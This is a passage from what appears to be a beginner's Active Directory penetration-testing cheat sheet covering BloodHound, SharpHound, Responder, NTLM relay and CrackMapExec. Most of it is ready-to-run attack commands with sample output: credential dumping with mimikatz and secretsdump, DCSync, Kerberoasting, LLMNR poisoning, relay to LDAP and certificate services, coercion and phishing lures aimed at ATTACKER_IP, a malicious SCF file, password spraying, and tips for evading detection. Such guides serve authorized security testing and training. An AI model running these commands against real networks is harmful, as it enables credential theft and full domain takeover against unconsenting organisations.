http://localhost:7474
# Default creds: neo4j / neo4j (change on first login!)
# Start BloodHound GUI:
bloodhound
# Login with Neo4j credentials
# BEGINNER TIP:
# Neo4j = Database (must be running FIRST!)
# BloodHound = GUI (connects to Neo4j)
Data Collection with SharpHound
SharpHound is the data collector that runs on Windows. It uses Windows APIs and LDAP to enumerate Active Directory!
# WINDOWS - SharpHound.exe (easiest method):
# Download SharpHound from GitHub:
https://github.com/BloodHoundAD/SharpHound/releases
# Get: SharpHound.exe or SharpHound.ps1
# Basic collection (from domain-joined Windows machine):
.\SharpHound.exe --CollectionMethods All
# Collects: Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs, Containers, OUs
# BEGINNER EXPLANATION:
# SharpHound connects to:
# - Domain Controller (LDAP queries for users/groups/computers)
# - All domain computers (NetSessionEnum for logged-in users)
# - File shares (to find sessions)
# Output: 20230109123456_BloodHound.zip (import this into BloodHound!)
# Collection Methods:
# All (recommended - collects everything):
.\SharpHound.exe -c All
# Default (quick scan):
.\SharpHound.exe -c Default
# Collects: Group memberships, local admin, sessions (no ACLs/GPOs)
# DCOnly (only query DC, no network scanning):
.\SharpHound.exe -c DCOnly
# Fastest! But misses logged-in users
# Specific methods:
.\SharpHound.exe -c Group,LocalAdmin,Session,Trusts,ACL,Container,GPOLocalGroup,LoggedOn,ObjectProps,RDP,DCOM,PSRemote
# Pick what you need
# Common flags:
# Specify domain:
.\SharpHound.exe -c All -d corp.local
# Specify Domain Controller:
.\SharpHound.exe -c All -d corp.local --DomainController DC01.corp.local
# Output directory:
.\SharpHound.exe -c All --OutputDirectory C:\temp\
# Output filename:
.\SharpHound.exe -c All --OutputPrefix MyCompany
# Exclude Domain Controllers (stealth):
.\SharpHound.exe -c All --ExcludeDCs
# Throttle requests (avoid detection):
.\SharpHound.exe -c All --Throttle 1000
# 1000ms delay between requests
# Jitter (randomize timing):
.\SharpHound.exe -c All --Jitter 20
# 20% randomization
# No ping before scanning:
.\SharpHound.exe -c All --SkipPing
# Loop collection (continuous monitoring):
.\SharpHound.exe -c All --Loop --LoopDuration 01:00:00
# Runs for 1 hour, collects every X minutes
Data Collection with BloodHound.py (Linux Remote Collection)
# LINUX - bloodhound.py (remote collection from Kali):
# Install:
sudo apt install bloodhound.py
# Or: pip3 install bloodhound
# Basic collection (requires domain credentials):
bloodhound-python -u username -p password -d corp.local -ns 192.168.1.10 -c All
# -u: Domain username
# -p: Password
# -d: Domain name
# -ns: DNS server (Domain Controller IP)
# -c: Collection method
# BEGINNER EXPLANATION:
# bloodhound.py connects remotely via:
# - LDAP to DC (enumerate users/groups/computers)
# - RPC/SMB to computers (find sessions)
# Output: computers.json, users.json, groups.json, etc.
# Collection methods:
bloodhound-python -u user -p pass -d corp.local -ns 192.168.1.10 -c DCOnly
# DCOnly = Only query DC (fastest, stealthiest)
bloodhound-python -u user -p pass -d corp.local -ns 192.168.1.10 -c All
# All = Full collection (slower, noisier)
# Use NTLM hash instead of password:
bloodhound-python -u user -p :NTLM_HASH -d corp.local -ns 192.168.1.10 -c All --hashes
# Specify Domain Controller:
bloodhound-python -u user -p pass -d corp.local -dc DC01.corp.local -ns 192.168.1.10 -c All
# Output to specific directory:
bloodhound-python -u user -p pass -d corp.local -ns 192.168.1.10 -c All --zip
# Creates: bloodhound.zip (import into BloodHound)
Import Data into BloodHound
# Step 1: Start Neo4j database
sudo neo4j start
# Step 2: Start BloodHound GUI
bloodhound
# Step 3: Login to BloodHound
# Username: neo4j
# Password: (password you set during first Neo4j login)
# Step 4: Import data
# Click "Upload Data" button (right side)
# Select: 20230109123456_BloodHound.zip OR *.json files
# Wait for import (may take 1-5 minutes for large domains)
# Step 5: Verify data loaded
# Top right shows: Users, Groups, Computers, etc. count
# Example: 5,234 Users | 892 Groups | 1,456 Computers
# BEGINNER TIP:
# Clear old data before importing new scan:
# Database Info → Clear Database
Pre-Built Queries (The Power of BloodHound!)
# BloodHound has 30+ pre-built queries!
# Click "Analysis" tab (top left) to see them:
# === PATHFINDING QUERIES ===
# 1. Find Shortest Paths to Domain Admins
# Shows: How your current user can become Domain Admin
# Example path:
# User1 → MemberOf → IT Admins → GenericAll → Admin User → MemberOf → Domain Admins
# 2. Find Shortest Paths to Unconstrained Delegation Systems
# Finds: Computers with unconstrained delegation (VERY vulnerable!)
# Attack: Compromise computer → Extract TGT tickets → Impersonate Domain Admin
# 3. Find Shortest Paths to Domain Admins from Owned Principals
# After you compromise users, mark them "Owned" → Find paths from owned users to DA
# 4. Find Shortest Paths to High Value Targets
# High Value = Domain Admins, Enterprise Admins, Cert Publishers, etc.
# === DOMAIN INFORMATION ===
# 5. Find all Domain Admins
# Lists: All Domain Admin accounts
# 6. Map Domain Trusts
# Shows: Trust relationships between domains (bidirectional, one-way, etc.)
# === DANGEROUS PERMISSIONS ===
# 7. Find Principals with DCSync Rights
# DCSync = Can dump all domain hashes (without touching DC!)
# Users/Groups with: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
# 8. Users with Foreign Domain Group Membership
# Finds: Users in other domains who are members of THIS domain's groups
# 9. Groups with Foreign Domain Group Membership
# Finds: Cross-domain group memberships (trust abuse!)
# 10. Find Computers where Domain Users are Local Admin
# Finds: Computers where "Domain Users" group has local admin (BAD config!)
# 11. Find Computers where Domain Users can Read LAPS Passwords
# LAPS = Local Administrator Password Solution
# If Domain Users can read LAPS → Instant local admin on computers!
# === KERBEROS ATTACKS ===
# 12. List all Kerberoastable Accounts
# Finds: Service accounts with SPNs (can be Kerberoasted!)
# Attack: Request TGS → Crack offline
# 13. Find AS-REP Roastable Users (DontReqPreAuth)
# Finds: Users with "Do not require Kerberos preauthentication"
# Attack: Request AS-REP → Crack offline (no password needed!)
# 14. Find Shortest Paths to Unconstrained Delegation Systems
# Unconstrained delegation = Computer can impersonate ANY user
# Attack: Compromise computer → Steal TGT → Impersonate DA
# 15. Find Constrained Delegation
# Constrained delegation = Computer can impersonate users to SPECIFIC services
# Attack: S4U2Self + S4U2Proxy = Access as ANY user
# === SESSIONS & LOCAL ADMIN ===
# 16. Find Workstations where Domain Users can RDP
# Finds: Workstations where Domain Users group has RDP access
# 17. Find Servers where Domain Users can RDP
# Finds: Servers where Domain Users has RDP (BAD!)
# 18. Find Dangerous Rights for Domain Users Groups
# Finds: Excessive permissions granted to Domain Users
# 19. Find Computers with Unsupported Operating Systems
# Finds: Windows 7, Server 2008 (unpatched = easy targets!)
# 20. Find Shortest Paths to High Value Targets from Owned Principals
# Mark compromised users as "Owned" → Find paths to DA
# === GPO ABUSE ===
# 21. Find GPOs that Apply to Domain Admins
# If you control a GPO → You control who it applies to!
# 22. Find GPOs that Apply to High Value Groups
# GPO abuse = Privilege escalation
# === MISCONFIGURATION QUERIES ===
# 23. Find Users with Password Not Required
# Finds: Users with empty passwords allowed
# 24. Find Users with Password Never Expires
# Finds: Service accounts with non-expiring passwords (often weak!)
# 25. Find Computers with Unconstrained Delegation
# (Repeat - VERY important!)
# 26. Find Principals with Constrained Delegation
# Delegation attacks = Easy privesc
# 27. Find Users that can Modify Group Memberships
# GenericAll, WriteMembers on groups → Add yourself to Domain Admins!
# 28. Find Users that can Reset Passwords
# ForceChangePassword → Reset admin password!
# 29. Find Users that can Take Ownership
# WriteOwner → Take ownership of objects → Grant yourself permissions
# 30. Find Users that can Modify ACLs
# WriteDacl → Grant yourself any permission!
How to Read BloodHound Graphs
# Node Types:
# 🔵 User = Domain user account
# 🟢 Group = Security group
# 🟡 Computer = Domain-joined computer
# 🔴 Domain = AD domain
# Edge Types (Relationships):
# MemberOf → User is member of Group
# AdminTo → User/Group has local admin on Computer
# HasSession → User has active session on Computer
# GenericAll → Full control over object (can do ANYTHING!)
# WriteDacl → Can modify permissions (grant yourself GenericAll!)
# WriteOwner → Can take ownership (then grant yourself GenericAll!)
# ForceChangePassword → Can reset user's password
# GenericWrite → Can modify some attributes
# AddMember → Can add members to group
# AllExtendedRights → Can perform extended operations (e.g., change password)
# ReadLAPSPassword → Can read LAPS password (local admin!)
# Contains → Container relationship
# Reading Attack Paths:
# Example: User1 → MemberOf → IT Admins → AdminTo → SERVER01 → HasSession → Domain Admin
# Translation:
# 1. User1 is member of IT Admins group
# 2. IT Admins group has local admin on SERVER01
# 3. Domain Admin has active session on SERVER01
# 4. Attack: Compromise User1 → RDP to SERVER01 as IT Admin → Dump Domain Admin credentials from memory!
# BEGINNER TIP:
# Right-click nodes → "Mark as Owned" when you compromise them
# Then run: "Find Shortest Paths to Domain Admins from Owned Principals"
Custom Cypher Queries
Cypher is Neo4j's query language. BloodHound lets you write custom queries!
# Open Raw Query Box:
# Bottom panel → "Raw Query" box
# Find all Domain Admins:
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
RETURN u.name
# Find users with DCSync rights:
MATCH (u:User)-[:GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN u.name
# Find shortest path from specific user to Domain Admin:
MATCH (u:User {name:"USER1@CORP.LOCAL"}),
(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}),
p=shortestPath((u)-[*1..]->(g))
RETURN p
# Find all users with local admin on specific computer:
MATCH (u:User)-[:AdminTo]->(c:Computer {name:"SERVER01.CORP.LOCAL"})
RETURN u.name
# Find all computers where user has admin:
MATCH (u:User {name:"USER1@CORP.LOCAL"})-[:AdminTo]->(c:Computer)
RETURN c.name
# Find Kerberoastable users:
MATCH (u:User {hasspn:true})
RETURN u.name, u.serviceprincipalnames
# Find AS-REP roastable users:
MATCH (u:User {dontreqpreauth:true})
RETURN u.name
# Find users with empty passwords:
MATCH (u:User {passwordnotreqd:true})
RETURN u.name
# Find users with GenericAll on other users:
MATCH (u1:User)-[:GenericAll]->(u2:User)
RETURN u1.name, u2.name
# Find paths from owned principals to DA:
MATCH (u:User {owned:true}),
(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}),
p=shortestPath((u)-[*1..]->(g))
RETURN p
# Find high-value targets:
MATCH (u:User {highvalue:true})
RETURN u.name
# BEGINNER TIP:
# Copy queries from HackTricks: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/bloodhound
Complete BloodHound Workflow
# STEP 1: Collect Data
# Option A: From Windows (domain-joined machine):
.\SharpHound.exe -c All
# Option B: From Linux (remote):
bloodhound-python -u lowpriv -p password -d corp.local -ns 192.168.1.10 -c All --zip
# STEP 2: Start Neo4j + BloodHound
sudo neo4j start
bloodhound
# STEP 3: Import Data
# BloodHound GUI → Upload Data → Select .zip file
# STEP 4: Mark Owned Principals
# If you compromised user1, right-click user1 node → "Mark User as Owned"
# STEP 5: Run Queries
# Analysis → "Find Shortest Paths to Domain Admins from Owned Principals"
# STEP 6: Analyze Attack Path
# Example path:
# user1 → MemberOf → Help Desk → GenericAll → Server Admin → AdminTo → DC01 → HasSession → Domain Admin
# Translation:
# 1. user1 is in Help Desk group
# 2. Help Desk has GenericAll on Server Admin user
# 3. Server Admin has local admin on DC01
# 4. Domain Admin has session on DC01
# Attack steps:
# 1. Authenticate as user1
# 2. Use GenericAll to reset Server Admin password:
net user "Server Admin" NewPassword123! /domain
# 3. Authenticate as Server Admin
# 4. RDP/PSExec to DC01
# 5. Dump Domain Admin credentials from memory:
impacket-secretsdump CORP/ServerAdmin:NewPassword123!@DC01
# STEP 7: Execute Attack
# Follow the path BloodHound showed!
# STEP 8: Mark New Compromised Users
# Right-click → "Mark as Owned"
# Run query again → Find new paths
# STEP 9: Repeat Until Domain Admin!
# BloodHound shows you EXACTLY how to escalate!
Attack Techniques Based on BloodHound Findings
# FINDING: User has GenericAll on another user
# ATTACK: Reset password
net user target_user NewPassword123! /domain
# Or force change password:
rpcclient -U user1 DC01
> setuserinfo2 target_user 23 'NewPassword123!'
# FINDING: User has WriteDacl on object
# ATTACK: Grant yourself GenericAll
# PowerView:
Add-DomainObjectAcl -TargetIdentity "target_user" -PrincipalIdentity "attacker_user" -Rights All
# FINDING: User has AddMember on group
# ATTACK: Add yourself to Domain Admins
net group "Domain Admins" attacker_user /add /domain
# FINDING: User has ForceChangePassword on admin
# ATTACK: Reset admin password (no current password needed!)
rpcclient -U user1 DC01
> setuserinfo2 admin_user 23 'NewPassword123!'
# FINDING: User can read LAPS password
# ATTACK: Read local admin password
Get-ADComputer SERVER01 -Properties ms-Mcs-AdmPwd | select ms-Mcs-AdmPwd
# Then: psexec Administrator:LAPS_PASSWORD@SERVER01
# FINDING: User has AdminTo on computer with DA session
# ATTACK: Dump DA credentials
impacket-psexec CORP/user1:password@SERVER01
> mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
# Steal Domain Admin credentials from memory!
# FINDING: User has DCSync rights
# ATTACK: Dump all domain hashes
impacket-secretsdump CORP/user1:password@DC01 -just-dc
# Got krbtgt hash → Create Golden Ticket!
# FINDING: Computer has unconstrained delegation
# ATTACK: Compromise computer → Wait for DA to auth → Steal TGT
# 1. Compromise computer with unconstrained delegation
# 2. Force admin to authenticate (SpoolSample, PetitPotam, etc.)
# 3. Extract TGT from memory: Rubeus.exe triage
# 4. Use TGT: Rubeus.exe ptt /ticket:admin.kirbi
# 5. Access DC: dir \\DC01\C$
# FINDING: Kerberoastable account
# ATTACK: Request TGS → Crack
impacket-GetUserSPNs CORP/user1:password -dc-ip 192.168.1.10 -request
hashcat -m 13100 tgs.txt rockyou.txt
# FINDING: AS-REP roastable account
# ATTACK: Request AS-REP → Crack
impacket-GetNPUsers CORP/ -dc-ip 192.168.1.10 -usersfile users.txt -format hashcat
hashcat -m 18200 asrep.txt rockyou.txt
Responder (LLMNR/NBT-NS Poisoning & Credential Theft)
What is Responder? Responder is a network poisoning tool that captures credentials by exploiting Windows name resolution protocols (LLMNR, NBT-NS, MDNS). When Windows machines can't find a resource, they broadcast requests to the local network. Responder answers those requests, tricks victims into authenticating to YOUR machine, and captures their NTLM hashes! Think of it as a "credential vacuum cleaner" for Windows networks!
Why Responder? Works WITHOUT credentials! Just plug into a network, run Responder, wait for Windows machines to broadcast name resolution requests, and collect hashes. Captured hashes can be cracked offline OR relayed to other machines (NTLM relay). Essential for initial access and lateral movement!
How Windows Name Resolution Works (The Vulnerability)
# Windows Name Resolution Order:
# 1. Local hosts file (C:\Windows\System32\drivers\etc\hosts)
# 2. DNS cache
# 3. DNS server
# 4. LLMNR (Link-Local Multicast Name Resolution) ← Responder exploits THIS!
# 5. NBT-NS (NetBIOS Name Service) ← And THIS!
# BEGINNER EXPLANATION:
# When user types: \\fileserver\share
# 1. Windows checks DNS
# 2. DNS says "I don't know fileserver"
# 3. Windows broadcasts on local network: "Who is fileserver?"
# 4. Responder answers: "I'm fileserver!" (lie!)
# 5. Victim connects to Responder
# 6. Responder asks for authentication
# 7. Victim sends NTLM hash
# 8. Responder captures hash!
# This happens automatically in Windows - users don't even notice!
Installation & Basic Usage
# Install (pre-installed in Kali):
sudo apt install responder
# Check version:
responder --version
# View help:
responder -h
# Basic usage (listen on all interfaces):
sudo responder -I eth0 -v
# -I: Network interface (eth0, wlan0, tun0)
# -v: Verbose output (shows captured hashes)
# BEGINNER TIP:
# Responder must run as ROOT (needs to bind to ports 137, 138, 445, etc.)
# Let it run! Responder will:
# 1. Listen for LLMNR/NBT-NS broadcasts
# 2. Poison responses (pretend to be requested resource)
# 3. Capture authentication attempts
# 4. Save hashes to /usr/share/responder/logs/
# Example output:
[+] Listening for events...
[NBT-NS] Poisoned answer sent to 192.168.1.100 for name FILESERVER
[SMB] NTLMv2-SSP Client : 192.168.1.100
[SMB] NTLMv2-SSP Username : CORP\john.smith
[SMB] NTLMv2-SSP Hash : john.smith::CORP:1122334455667788:ABC123...
# ^ THIS IS THE HASH YOU WANT!
Responder Modes & Flags
# Protocol poisoning (enable/disable specific protocols):
# Enable all protocols (default):
sudo responder -I eth0 -v
# Disable specific protocols:
sudo responder -I eth0 -v --lm --disable-ess
# --lm: Force LM hashing (weaker, easier to crack)
# --disable-ess: Disable Extended Session Security
# WPAD (Web Proxy Auto-Discovery) poisoning:
sudo responder -I eth0 -wv
# -w: Enable WPAD rogue proxy server
# Captures browser authentication!
# DHCP poisoning:
sudo responder -I eth0 -vd
# -d: Enable DHCP poisoning (sets YOUR machine as gateway/DNS!)
# DANGEROUS: Can break network!
# Analyze mode (don't poison, just observe):
sudo responder -I eth0 -A
# -A: Analyze mode (passive - see who's vulnerable without poisoning)
# Useful for: Recon before attacking
# Force WPAD authentication:
sudo responder -I eth0 -wFv
# -F: Force WPAD auth (more aggressive)
# Rogue authentication server:
sudo responder -I eth0 -rv
# -r: Enable rogue authentication servers (HTTP, HTTPS, SMB, FTP, etc.)
Captured Hash Types
# Responder captures multiple hash types:
# 1. NTLMv1 (old, weak, easy to crack):
# Format: username::domain:LM_response:NTLM_response:challenge
# Crack with: hashcat -m 5500
# 2. NTLMv2 (modern, stronger, but still crackable):
# Format: username::domain:challenge:HMAC-MD5:blob
# Crack with: hashcat -m 5600
# 3. NTLMv2-SSP (Session Security Protocol):
# Same as NTLMv2 but with extended security
# Crack with: hashcat -m 5600
# 4. HTTP Basic Auth (plaintext!):
# Format: username:password (BASE64 encoded)
# Decode: echo "BASE64" | base64 -d
# Hashes saved to:
/usr/share/responder/logs/
# Files:
# - HTTP-Clear-Text-Password-192.168.1.100.txt (plaintext passwords!)
# - SMB-NTLMv2-SSP-192.168.1.100.txt (NTLM hashes)
# - HTTP-NTLMv2-192.168.1.100.txt (HTTP auth hashes)
Cracking Captured Hashes
# Extract hash from Responder log:
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.1.100.txt
# Output:
john.smith::CORP:1122334455667788:ABC123DEF456...:010100000000...
# Crack with Hashcat:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
# -m 5600: NTLMv2
# BEGINNER TIP:
# NTLMv2 hashes format: username::domain:challenge:HMAC:blob
# Copy the ENTIRE line into hash.txt!
# Crack NTLMv1 (easier):
hashcat -m 5500 ntlmv1_hash.txt /usr/share/wordlists/rockyou.txt
# Crack with John the Ripper:
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# If cracking fails, try relay attack instead (ntlmrelayx)!
NTLM Relay Attack with Responder + ntlmrelayx
NTLM Relay: Instead of cracking hashes, RELAY captured authentication to other servers! If victim is admin on target server = instant shell!
# STEP 1: Edit Responder config (disable SMB/HTTP servers)
sudo nano /usr/share/responder/Responder.conf
# Change:
# SMB = Off
# HTTP = Off
# (So Responder captures, but doesn't respond - ntlmrelayx will respond!)
# STEP 2: Start Responder (captures auth):
sudo responder -I eth0 -v
# STEP 3: Start ntlmrelayx (relays auth):
impacket-ntlmrelayx -tf targets.txt -smb2support
# -tf: Target file (list of IPs to relay to)
# -smb2support: Enable SMB2/3
# BEGINNER EXPLANATION:
# 1. Responder poisons LLMNR/NBT-NS
# 2. Victim tries to connect to Responder
# 3. Responder forwards auth to ntlmrelayx
# 4. ntlmrelayx relays to target server
# 5. If victim is admin on target → SHELL!
# STEP 4: Wait for authentication
# When victim authenticates:
[+] Authenticating against smb://192.168.1.50 as CORP\admin SUCCEED
[+] Service RemoteRegistry is in stopped state
[+] Starting service RemoteRegistry
[+] Dumping SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Got SAM hashes! No password cracking needed!
# Relay + execute command:
impacket-ntlmrelayx -t 192.168.1.50 -smb2support -c "whoami"
# Relay + dump SAM:
impacket-ntlmrelayx -t 192.168.1.50 -smb2support --dump-sam
# Relay to LDAP (escalate to Domain Admin!):
impacket-ntlmrelayx -t ldap://DC01.corp.local -smb2support --escalate-user normaluser
# Adds normaluser to Domain Admins group!
Forcing Authentication (Make Victims Connect to Responder)
# Responder is PASSIVE - waits for victims to make mistakes
# But you can FORCE victims to authenticate!
# METHOD 1: File share link (phishing email)
# Send email with:

# Or:
file://ATTACKER_IP/share/document.docx
# Victim opens email → Windows tries to load image → Authenticates to Responder!
# METHOD 2: Windows Search (trigger via network)
# From compromised machine:
dir \\ATTACKER_IP\share
# Windows broadcasts name resolution → Responder poisons
# METHOD 3: Shortcut file (.lnk)
# Create malicious shortcut pointing to \\ATTACKER_IP\share
# Drop on file share
# Victim opens folder → Shortcut icon loads → Authentication captured!
# METHOD 4: SCF file (Shell Command File)
# Create @Share.scf:
[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\icon.ico
[Taskbar]
Command=ToggleDesktop
# Drop in accessible file share
# Victim opens folder → Windows loads icon → Authentication!
# METHOD 5: SpoolSample (force print server to authenticate)
python3 printerbug.py CORP/user:password@VICTIM_IP ATTACKER_IP
# Forces VICTIM_IP to authenticate to ATTACKER_IP
# Combine with Responder or ntlmrelayx!
# METHOD 6: PetitPotam (force DC to authenticate!)
python3 PetitPotam.py ATTACKER_IP DC_IP
# Forces Domain Controller to authenticate!
# Combine with ntlmrelayx → Relay to ADCS → Get certificate → Authenticate as DC!
Responder Configuration File
# Edit Responder config:
sudo nano /usr/share/responder/Responder.conf
# Key settings:
# [Responder Core]
SQL = On # Poison SQL Server (MSSQL) resolution
SMB = On # Poison SMB (FILE SHARES)
RDP = On # Poison RDP
Kerberos = On # Poison Kerberos (realm requests)
FTP = On # Poison FTP
POP = On # Poison POP3
SMTP = On # Poison SMTP
IMAP = On # Poison IMAP
HTTP = On # Poison HTTP (web proxy)
HTTPS = On # Poison HTTPS
DNS = On # Poison DNS
LDAP = On # Poison LDAP
DCERPC = On # Poison RPC
WINRM = On # Poison WinRM
# [HTTP Server]
# Serve rogue authentication pages
# [HTTPS Server]
# SSL certificate for HTTPS poisoning
# BEGINNER TIP:
# For NTLM relay attacks, disable SMB + HTTP in config:
# SMB = Off
# HTTP = Off
Defense Evasion & Stealth
# Responder can be NOISY! Defenders may detect:
# - LLMNR/NBT-NS poisoning (unusual responses)
# - Multiple failed auth attempts
# - Logs showing connections to unknown IPs
# Stealth techniques:
# 1. Analyze mode first (recon before attacking):
sudo responder -I eth0 -A
# Shows potential targets without poisoning
# 2. Target specific protocols only:
sudo nano /usr/share/responder/Responder.conf
# Disable all except SMB (most common)
# 3. Filter by IP/subnet (only poison specific targets):
# Edit Responder.py source code to add IP filtering
# 4. Short bursts (run Responder for 5-10 minutes, then stop):
sudo timeout 600 responder -I eth0 -v
# Runs for 10 minutes, then stops
# 5. Use NTLM relay instead of capturing hashes:
# Relay attacks = fewer logs, faster compromise
# 6. Target non-production networks first:
# Guest WiFi, conference rooms, IoT VLANs
Complete Attack Workflow
# SCENARIO 1: Capture & Crack Hashes
# Step 1: Start Responder
sudo responder -I eth0 -wv
# Wait for victims...
# Step 2: Check captured hashes
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
# Found: john.smith::CORP:challenge:hash...
# Step 3: Crack hash
hashcat -m 5600 john_hash.txt /usr/share/wordlists/rockyou.txt
# Cracked: john.smith:Summer2023!
# Step 4: Use credentials
crackmapexec smb targets.txt -u john.smith -p Summer2023!
# john.smith is admin on 192.168.1.50!
# Step 5: Get shell
impacket-psexec CORP/john.smith:Summer2023!@192.168.1.50
# SCENARIO 2: NTLM Relay to Domain Admin
# Step 1: Edit Responder config
sudo nano /usr/share/responder/Responder.conf
# Set: SMB = Off, HTTP = Off
# Step 2: Start Responder
sudo responder -I eth0 -v
# Step 3: Start ntlmrelayx (relay to DC LDAP)
impacket-ntlmrelayx -t ldap://DC01.corp.local -smb2support --escalate-user lowpriv
# Step 4: Force victim to authenticate (SpoolSample)
python3 printerbug.py CORP/lowpriv:password@ADMIN_PC ATTACKER_IP
# Step 5: ntlmrelayx relays → adds lowpriv to Domain Admins!
[+] Authenticating against ldap://DC01.corp.local as CORP\ADMIN_PC$ SUCCEED
[+] Escalating user lowpriv
[+] lowpriv is now Domain Admin!
# Step 6: DCSync with new DA privileges
impacket-secretsdump CORP/lowpriv:password@DC01.corp.local -just-dc
# SCENARIO 3: PetitPotam + NTLM Relay to ADCS
# Step 1: Start ntlmrelayx (relay to ADCS)
impacket-ntlmrelayx -t http://ADCS_SERVER/certsrv/certfnsh.asp -smb2support --adcs
# Step 2: Trigger PetitPotam (force DC to authenticate)
python3 PetitPotam.py ATTACKER_IP DC01.corp.local
# Step 3: ntlmrelayx gets certificate from ADCS!
[+] Got certificate for DC01$
[+] Saved to DC01.pfx
# Step 4: Use certificate to authenticate as DC
python3 gettgtpkinit.py CORP.LOCAL/DC01$ DC01.pfx DC01.ccache
# Step 5: DCSync with DC credentials
export KRB5CCNAME=DC01.ccache
impacket-secretsdump CORP.LOCAL/DC01$@DC01.corp.local -k -no-pass -just-dc
CrackMapExec (THE Ultimate Network Swiss Army Knife)
What is CrackMapExec (CME)? CrackMapExec is a post-exploitation framework for pentesting Windows/Active Directory networks. It automates: password spraying, SMB enumeration, credential validation, command execution, lateral movement, and MORE! Think of it as "nmap + metasploit + impacket" combined into ONE tool with a beautiful console interface!
Why CrackMapExec? Supports 5+ protocols (SMB, SSH, WinRM, LDAP, MSSQL), has 100+ modules, validates credentials across entire subnets in SECONDS, executes commands on multiple machines simultaneously, and has a built-in database to track compromised hosts. Essential for AD pentesting!
Installation & Setup
# Install (pre-installed in Kali as 'crackmapexec' or 'cme'):
sudo apt install crackmapexec
# Check version:
crackmapexec --version
# Or short form:
cme --version
# View protocols:
crackmapexec
# Shows: smb, ssh, winrm, ldap, mssql, rdp, vnc, ftp
# View modules for specific protocol:
crackmapexec smb --list-modules
# Shows: mimikatz, lsassy, nanodump, procdump, etc.
# Database location:
~/.cme/workspaces/default/default.db
# Stores: Hosts, credentials, shares, sessions
Protocol 1: SMB (Most Important!)
SMB = Server Message Block (Windows file sharing protocol). CME can enumerate shares, validate creds, execute commands, dump SAM/LSA, and MORE!
# Basic SMB enumeration (no credentials):
crackmapexec smb 192.168.1.0/24
# Scans entire subnet for SMB hosts
# Output:
SMB 192.168.1.50 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:CORP.LOCAL)
SMB 192.168.1.51 445 SRV01 [*] Windows 10.0 Build 19041 x64 (name:SRV01) (domain:CORP.LOCAL)
# BEGINNER EXPLANATION:
# Shows: IP, hostname, Windows version, domain
# No creds needed!
# Check if user is admin on targets:
crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' --local-auth
# --local-auth: Try local admin (not domain)
# Output shows "Pwn3d!" if admin:
SMB 192.168.1.50 445 DC01 [+] DC01\administrator:P@ssw0rd! (Pwn3d!)
# ^^^^^^^^
# "Pwn3d!" = You have admin rights!
# Domain authentication:
crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' -d CORP.LOCAL
# -d: Domain name
# Pass-the-hash:
crackmapexec smb 192.168.1.0/24 -u administrator -H 'NTLM_HASH'
# -H: NTLM hash (from secretsdump)
Credential Validation & Password Spraying
# Single credential validation:
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!'
# [+] john:Welcome123! = Valid creds
# [-] john:Welcome123! = Invalid creds
# [+] Pwn3d! = Admin creds!
# Password spraying (one password, many users):
crackmapexec smb 192.168.1.50 -u users.txt -p 'Welcome123!' --continue-on-success
# --continue-on-success: Don't stop after first hit
# Multiple passwords:
crackmapexec smb 192.168.1.50 -u users.txt -p passwords.txt
# Tries: user1:pass1, user1:pass2, ..., user2:pass1, etc.
# Check if creds work on entire subnet:
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' --shares
# Shows: All machines where john has access + their shares
# BEGINNER TIP:
# Always use --continue-on-success for password spraying!
# Default behavior: Stop after first success
SMB Share Enumeration
# List shares:
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --shares
# Output:
Share Permissions Remark
----- ----------- ------
ADMIN$ READ,WRITE Remote Admin
C$ READ,WRITE Default share
IPC$ READ Remote IPC
Users READ User shares
# Spider shares (recursively list files):
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --spider C$ --pattern *.txt
# --pattern: Search for specific file types (passwords.txt, config.ini, etc.)
# Download file from share:
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --get-file '\\C$\\passwords.txt' ./passwords.txt
Command Execution
# Execute single command:
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -x "whoami"
# -x: Execute command via cmd.exe
# Execute PowerShell command:
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -X "Get-Process"
# -X: Execute via PowerShell
# Execute on multiple machines:
crackmapexec smb targets.txt -u administrator -p 'P@ssw0rd!' -x "ipconfig /all"
# Runs command on ALL targets simultaneously!
# Execute with hash (pass-the-hash):
crackmapexec smb 192.168.1.50 -u administrator -H 'NTLM_HASH' -x "net user"
Credential Dumping
# Dump SAM hashes:
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' --sam
# Dumps: Local user hashes (Administrator, Guest, etc.)
# Dump LSA secrets:
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' --lsa
# Dumps: Cached domain credentials, service account passwords
# Dump NTDS (Domain Controller - all domain hashes!):
crackmapexec smb 192.168.1.10 -u administrator -p 'P@ssw0rd!' --ntds
# Dumps: ALL domain user hashes (DCSync attack!)
# Use modules for credential dumping:
# Mimikatz module:
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M mimikatz
# Runs Mimikatz → dumps plaintext passwords from memory!
# Lsassy module (stealthier than Mimikatz):
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M lsassy
# Dumps LSASS memory → extracts credentials
# Nanodump module (very stealthy!):
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M nanodump
# Dumps LSASS without triggering AV/EDR
Modules (100+ Available!)
# List all modules:
crackmapexec smb --list-modules
